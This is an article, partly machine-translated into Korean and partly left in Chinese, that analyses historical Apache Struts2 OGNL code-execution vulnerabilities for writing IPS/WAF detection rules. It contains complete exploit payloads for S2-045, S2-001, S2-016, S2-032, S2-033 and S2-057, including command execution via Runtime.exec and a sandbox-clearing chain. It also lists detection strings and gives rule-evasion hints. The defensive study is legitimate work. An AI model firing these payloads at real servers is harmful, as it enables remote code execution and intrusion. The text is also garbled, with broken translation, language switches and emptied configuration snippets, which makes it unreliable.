보호 관점에서 Struts2 기록 취약점을 보는 방법

1. 서문

Struts2 취약점은 전형적인 일련의 취약점입니다. 근본 원인은 Struts2가 프레임워크를 유연하고 동적으로 만들기 위해 OGNL 표현식을 도입했다는 것입니다. 전반적인 프레임워크의 패치가 개선됨에 따라 이제 새로운 Struts2 취약점을 이전보다 발견하는 것이 훨씬 더 어려워질 것입니다. 실제 상황으로 판단하면 대부분의 사용자는 이미 고위험 취약점을 복구했습니다. 현재 침투 테스트를 할 때 Struts2 취약점은 주로 우연에 맡겨지거나 인트라넷에 노출된 후 패치되지 않은 시스템을 공격하는 것이 더 효과적입니다.

온라인 분석 기사는 주로 공격 및 악용의 관점에서 이러한 Struts2 취약점을 분석합니다. 새로운 H3C 공격 및 방어 팀으로서 우리 임무의 일부는 ips 제품의 규칙 기반을 유지하는 것입니다. 오늘 우리는 이 일련의 취약점을 검토하고 누락이나 오류가 있는 경우 방어자에 대한 몇 가지 아이디어를 공유하겠습니다. 수정해 주셔서 감사합니다.

2. Struts2의 역사적 취약점

Struts2의 역사적 취약점을 연구하고 부분적으로 이전 IP 및 WAF 보호 규칙을 검토하세요. 규칙을 개발할 때 다음과 같은 몇 가지 원칙이 있다고 생각합니다.

2. 취약점 또는 공격 도구에 대한 탐지 규칙을 정의할 때. , 거짓 긍정과 거짓 부정에 대해 생각해 보세요.

보안 장치가 IP 주소를 자동으로 차단하지 않으면 보호 규칙이 천천히 시도될 수 있습니다. 규칙이 공개 POC 규칙만 고려하고 너무 엄격하게 작성되면 우회될 수 있으므로 이 검토를 수행합니다. 먼저 Struts2의 역사적 취약점 원칙을 살펴보겠습니다.

2.1 웹 사이트가 Struts2 프레임워크를 사용하는지 확인

일반적으로 공격자는 공격하기 전에 주로 .action 또는 .do로 끝나는 링크가 있는지 확인하기 위해 웹 사이트가 Struts2로 작성되었는지 확인합니다. .xml은 액션의 접미사를 지정합니다.

<constant></constant>

하지만 위 구성 파일을 파싱한 후에는 접미사가 없는 URI도 액션의 이름으로 파싱됩니다. 다음과 같습니다:

구성 파일의 상수 확장 값이 쉼표로 끝나거나 null 값을 갖는 경우 접미사가 없는 작업이 있을 수 있음을 나타내며 접미사가 없는 uri도 빌드될 수 있습니다. struts2 프레임워크를 통해

기본 struts-plugin에 의해 지정된 요청 접미사인 Struts2의 나머지 플러그인을 사용하는 경우 프레임워크는 JsonLibHandler 클래스를 사용하여 출력을 처리합니다.

xhtml 및 xml로 끝나는 요청은 각각 HtmlHandler 및 XStreamHandler를 사용하여 처리됩니다. 따라서 테스트할 때 웹 사이트가 struts2 프레임워크를 사용하는지 여부를 명확하게 확인할 수 없는 경우(특히 후자의 두 가지 상황에서) 도구를 사용하여 행운을 시험해 볼 수 있습니다.

2.2 Struts2 코드 실행의 원리

Struts2의 동적 특성은 ongl 표현식이 실행 변수의 값을 얻을 수 있고 함수 호출을 실행할 수 있는 기회를 가질 수 있다는 것입니다. 악의적인 요청 매개변수가 ognl 실행 프로세스로 전송될 수 있으면 임의 코드 실행 취약점이 발생합니다. ognl 표현식의 실행은 Ognl과 관련된 여러 클래스에서 이루어집니다. 디버깅 환경을 구성한 후 OgnlUtil 클래스의 getvalue 또는 compileAndExecute 함수에 중단점을 설정하고 해당 매개변수를 기반으로 poc 호출 프로세스를 판단하고 실행을 분석합니다. 원칙.

2.2.1 S2-045, S2-046

S2-045를 예로 들어 웹 프로젝트 디렉터리의 페이로드가

<constant></constant>

Breakpoint 차단 상황

에 따른 정보를 확인하세요. stack

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

에 따르면 스택은 취약점의 원인을 찾고, Dispatcher 기능을 확인하고, content-typ 필드에 multipart/form-data 문자열이 포함되어 있으면 요청이 MultiPartRequestWrapper로 캡슐화되고, JakartaMultiPartRequest 클래스 프로세스로 이동

getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)</init>

처리 중에 오류가 있으면 buildErrorMessage 함수가 호출되어 오류 메시지를 구성합니다.

if (content_type != null && content_type.contains("multipart/form-data")) {
    MultiPartRequest mpr = getMultiPartRequest();
    LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
    request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
 } else {
    request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

다음 호출 프로세스는 buildErrorMessage --->LocalizedTextUtil.findText --->TextParseUtil입니다. 따라서 오류가 보고된 후에 제출됩니다. 입력이 ognl 모듈에 도달할 수 없습니다. S2-046도 045와 동일한 모듈을 사용합니다. 전체적으로 045와 046은 2017년 상반기에 나타난 취약점입니다. 해당 취약점은 프레임워크 자체를 사용하며 비교적 사용하기 쉬운 Struts2 취약점입니다. 성공률도 매우 낮습니다.) 이제 네트워크에 있는 다수의 자동화된 스캐너 또는 웜이 045 및 046과 함께 제공되는 것을 볼 수 있습니다. IP 장치는 매일 그러한 로그를 대량으로 수신할 수 있습니다.

2.2.2 S2-001

往前看，比较好用的漏洞中比较有代表性的有S2-001(S2-003,005,008年代比较久远，后来出现了比较好用的新漏洞，所以这些漏洞用的人很少，对应Struts2的版本也很低)，001是Struts2框架最刚开始出现的第一个漏洞，跟045的执行过程也比较接近，都是经由TextParseUtil. translateVariables执行OGNL表达式，TextParseUtil是文本处理的功能类。不同的是S2-001是在把jsp生成java类的时候，会对表单提交的参数调用evaluateParams从而调用文本处理类的OGNL求值功能。调用堆栈如下：

translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D

提交就能触发漏洞

2.2.3 S2-016

接着是S2-016，以及S2-032,S2-033,S2-037，这几个漏洞比较接近，其中S2-016是比较好用的，由于年代太过久远了，现在已经几乎不可能利用成功，但是这个漏洞由于太经典，还是值得看看。

获取路径的Payload是:

redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

直接在uri后面跟redirect标签

 调用栈：

getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)

代码注释意为， 在Struts2框架下如果mapping能直接获得结果，就调用结果对象的execute函数。

Uri标签中的redirect，对应的是ServletRedirectResult这个结果，构造函数如下，是DefaultActionMapper构造的时候顺带构造好的，

public DefaultActionMapper() {
    prefixTrie = new PrefixTrie() {
        {
            put(METHOD_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring(
                                METHOD_PREFIX.length()));
                    }
                }
            });

            put(ACTION_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String name = key.substring(ACTION_PREFIX.length());
                    if (allowDynamicMethodCalls) {
                        int bang = name.indexOf('!');
                        if (bang != -1) {
                            String method = name.substring(bang + 1);
                            mapping.setMethod(method);
                            name = name.substring(0, bang);
                        }
                    }
                    mapping.setName(name);
                }
            });

而这个ServletRedirectResult结果在解析Uri的时候，就会被设置到mapping对象中，调用栈如下：

execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)

后续ServletRedirectResult的execute函数执行后，经由conditionalParse调用文本处理类TextParseUtil的translateVariables函数进入Ognl的流程，代码得到执行。

2.2.4 S2-032,S2-033,S2-037

S2-032是框架本身漏洞，不过利用有个前提条件，需要开启动态方法执行的配置

<constant></constant>

S2-033和S2-037则是rest插件漏洞，一般来说插件漏洞利用还是比较困难的，因为开发网站的时候不一定会用到这个插件。S2-032的payload如下：

http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig

跟S2-016一样，也是uri中带特殊标签，其漏洞点也在DefaultActionMapper类的构造函数， struts.mxl文件中配置了DynamicMethodInvocation后，构造mapping的时候会满足if语句，设置method属性为冒号后的OGNL表达式

public DefaultActionMapper() {
    prefixTrie = new PrefixTrie() {
        {
            put(METHOD_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring(METHOD_PREFIX.length()));
                    }
                }
            });

在调用完Struts2默认的拦截器后，进入DefaultActionInvocation的调用函数invokeAction，后者直接调用Ognl表达式的执行。

S2-032和S2-037也是通过这个步骤得到执行的，不同的是这两漏洞是基于rest插件的。rest插件使得struts2框架的请求具备restful风格，参数直接放在uri里面提交，而非问号后面的字符串。如下为正常的请求：

漏洞利用payload为：

http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable

payload将正常的edit方法替换成了ognl代码。rest插件使用的是RestActionMapper来解析uri，生成mapping，在其getMapping函数内，解析uri设置了method变量，

int lastSlashPos = fullName.lastIndexOf(47);
 String id = null;
 if (lastSlashPos > -1) {
     int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1);
     if (prevSlashPos > -1) {
         mapping.setMethod(fullName.substring(lastSlashPos + 1));
         fullName = fullName.substring(0, lastSlashPos);
         lastSlashPos = prevSlashPos;
     }

而后跟032一样，也是通过ognl表达式来调用这个方法的时候，执行了恶意的命令

S2-037跟S2-032漏洞点一致，是对补丁的绕过，应该是Struts2.3.28.1没有修复好。

这两个漏洞是16年的，也需要非常好的运气才能利用，毕竟依赖rest插件且年代久远。

2.2.5 S2-052

这个漏洞跟传统的Struts2漏洞不同的是，并不是利用ognl表达式执行的代码，而是使用unmarshal漏洞执行代码。缺点就是也要用到rest插件，并且对jdk版本有要求，要大于等于1.8，使用JDK 1.7测试报错如下

使用JDK 1.8测试能正常执行命令。

由于使用的不是ongl表达式执行的漏洞，防护思路也跟Struts2的常规防护有区别，后续可以跟weblogic系列漏洞合并分析。

2.2.6 S2-057

S2-057的代码执行有2个条件：

1、需要开启alwaysSelectFullNamespace配置为true，一般提取请求中uri的时候，会对比配置文件中的namespace，匹配上了选取最长的一段作为此次请求的namespace。但是如果这个参数设置为true，就不做对比，直接提取action前面的所有字符串作为namespace。

protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
    int lastSlash = uri.lastIndexOf(47);
    String namespace;
    String name;
    if (lastSlash == -1) {
        namespace = "";
        name = uri;
    } else if (lastSlash == 0) {
        namespace = "/";
        name = uri.substring(lastSlash + 1);
    } else if (this.alwaysSelectFullNamespace) {
        namespace = uri.substring(0, lastSlash);
        name = uri.substring(lastSlash + 1);} else {

例如payload使用

GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1

标红的整体ognl攻击表达式会被提取成为namespace。

2、使用了服务器跳转的结果，这里的要求是配置了actionChaining类型的action，在配置action结果的时候，使用redirectAction(ServletActionRedirectResult类),chain(ActionChainResult类),postback(PostbackResult类)作为结果类型。

<package name="actionchaining" extends="struts-default">
   <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
      <result type="redirectAction">
         <param name="actionName">register2
      </result>
   </action>
   <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
      <result type="chain">xxx</result>
   </action>
   <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
      <result type="postback">
         <param name="actionName">register2
      </result>
   </action>
 </package>

这样在处理result结果的时候，会把namespace送到ognl引擎执行。例如redirectAction(ServletActionRedirectResult类)的情况，分发器disptacher会根据action的结果，把流程传给ServletActionRedirectResult的execute函数，后者通过setLocation设置302跳转的目的地址到自己的location变量(包含了ognl恶意代码的namespace)，

public void execute(ActionInvocation invocation) throws Exception {
    this.actionName = this.conditionalParse(this.actionName, invocation);
    if (this.namespace == null) {
        this.namespace = invocation.getProxy().getNamespace();
    } else {
        this.namespace = this.conditionalParse(this.namespace, invocation);
    }

    if (this.method == null) {
        this.method = "";
    } else {
        this.method = this.conditionalParse(this.method, invocation);
    }

    String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
    this.setLocation(tmpLocation);
    super.execute(invocation);
 }

然后调用父类ServletRedirectResult的execute函数  ----> 调用父类StrutsResultSupport的execute函数

public void execute(ActionInvocation invocation) throws Exception {
    this.lastFinalLocation = this.conditionalParse(this.location, invocation);
    this.doExecute(this.lastFinalLocation, invocation);
 }

 protected String conditionalParse(String param, ActionInvocation invocation) {
    return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
 }

其中conditionalParse是条件调用TextParseUtil.translateVariables进行ognl的执行流程，这个条件是满足的，参数就是之前设置的location变量，因此代码得到执行。

2.3Struts2沙盒防护和绕过

Struts2的每一轮新的漏洞，既包含了新的Ognl代码执行的点，也包含Struts2的沙盒加强防护的绕过，而每一轮补丁除了修复Ognl的执行点，也再次强化沙盒，补丁主要都是通过struts-default.xml限制了ognl使用到的类和包，以及修改各种bean函数的访问控制符。最新版本Struts2.5.20的Struts-default.xml，限制java.lang.Class, java.lang.ClassLoader，java.lang.ProcessBuilder这几个类访问，导致漏洞利用时无法使用构造函数、进程创建函数、类加载器等方式执行代码，限制com.opensymphony.xwork2.ognl这个包的访问，导致漏洞利用时无法访问和修改_member_access，context等变量。

<constant name="struts.excludedClasses" value="
            java.lang.Object,
            java.lang.Runtime,
            java.lang.System,
            java.lang.Class,
            java.lang.ClassLoader,
            java.lang.Shutdown,
            java.lang.ProcessBuilder,
            com.opensymphony.xwork2.ActionContext"></constant>

 <!-- this must be valid regex, each &#39;.&#39; in package name must be escaped! -->
 <!-- it&#39;s more flexible but slower than simple string comparison -->
 <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->

 <!-- this is simpler version of the above used with string comparison -->
 <constant name="struts.excludedPackageNames" value="
            ognl.,
            javax.,
            freemarker.core.,
            freemarker.template.,
            freemarker.ext.rhino.,
            sun.reflect.,
            javassist.,
            org.objectweb.asm.,
            com.opensymphony.xwork2.ognl.,
            com.opensymphony.xwork2.security.,
            com.opensymphony.xwork2.util."></constant>

调试时，可以对SecurityMemberAccess的isAccessible函数下断点观察ognl的沙盒防护情况。

public boolean isAccessible(Map context, Object target, Member member, String propertyName) {
    LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName);
    if (this.checkEnumAccess(target, member)) {
        LOG.trace("Allowing access to enum: {}", target);
        return true;
    } else {
        Class targetClass = target.getClass();
        Class memberClass = member.getDeclaringClass();
        if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) {
            LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName);
            if (!this.isClassExcluded(member.getDeclaringClass())) {
                targetClass = member.getDeclaringClass();
            }
        }

三、网络侧Struts2的防护思路

一般的ips、waf规则，可以从两个方向进行检测，一个是检测漏洞发生点，另外一个是检测利用的攻击代码。Struts2有一些老的漏洞，很多是url中或者post表单中提交ognl代码，从漏洞点来看并不是太好做检测，所以一般的检测规则还是检查ognl代码，配合漏洞发生点。结合payload来看，ognl代码的构成，技术性最强的ognl代码是045和057的两个payload，还是从045的payload来看

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

OgnlContext的_memberAccess变量进行了访问控制限制，决定了哪些类，哪些包，哪些方法可以被ognl表达式所使用。045之前的补丁禁止了_memberAccess的访问:

#container=#context['com.opensymphony.xwork2.ActionContext.container'])

payload通过ActionContext对象得到Container:

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

然后用Container的getInstance方法获取到ognlUtil实例:

#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()

通过ognlUtil的公开方法清空禁止访问的类和包，后面则是常规的输出流获取和函数调用。这个ognl的payload比较典型，可以检测的点也比较多。

一般来说，ips或者waf的Struts2规则可以检测沙盒绕过使用的对象和方法，如 _memberaccess，getExcludedPackageNames，getExcludedClasses，DEFAULT_MEMBER_ACCESS都是很好的检测点，防护规则也可以检测函数调用ServletActionContext@getResponse（获取应答对象），java.lang.ProcessBuilder(进程构建，执行命令)，java.lang.Runtime(运行时类建，执行命令)，java.io.FileOutputStream（文件输出流，写shell），getParameter（获取参数），org.apache.commons.io.IOUtils（IO函数）。不太好的检测点包括com.opensymphony.xwork2.ActionContext.container这种字典的key或者包的全名，毕竟字符串是可以拼接和变形的，这种规则很容易绕过。其他时候规则提取的字符串尽量短一些，避免变形绕过。

테스트 결과 일부 waf 제품 규칙은 DEFAULT_MEMBER_ACCESS 및 _memberaccess 두 문자열 중 하나만 감지하는 것으로 나타났습니다. 매우 조잡해 보이고 오탐의 위험이 있지만 유연성으로 인해 감지 효과가 여전히 좋습니다. .Escape하지만 S2-016 이후의 취약점은 샌드박스를 우회하여 이 두 개체 및 관련 함수 호출을 피하기가 어렵습니다. 우회의 경우 ognl.jjt 파일을 참조할 수 있습니다. 이 파일은 ognl 표현의 어휘 및 문법 구조를 정의합니다. ognl의 관련 구문 분석 코드도 이 파일을 기반으로 생성되므로 일반 우회도 이 파일을 기반으로 시작할 수 있습니다. .

위 내용은 보호 관점에서 Struts2 기록 취약점을 보는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!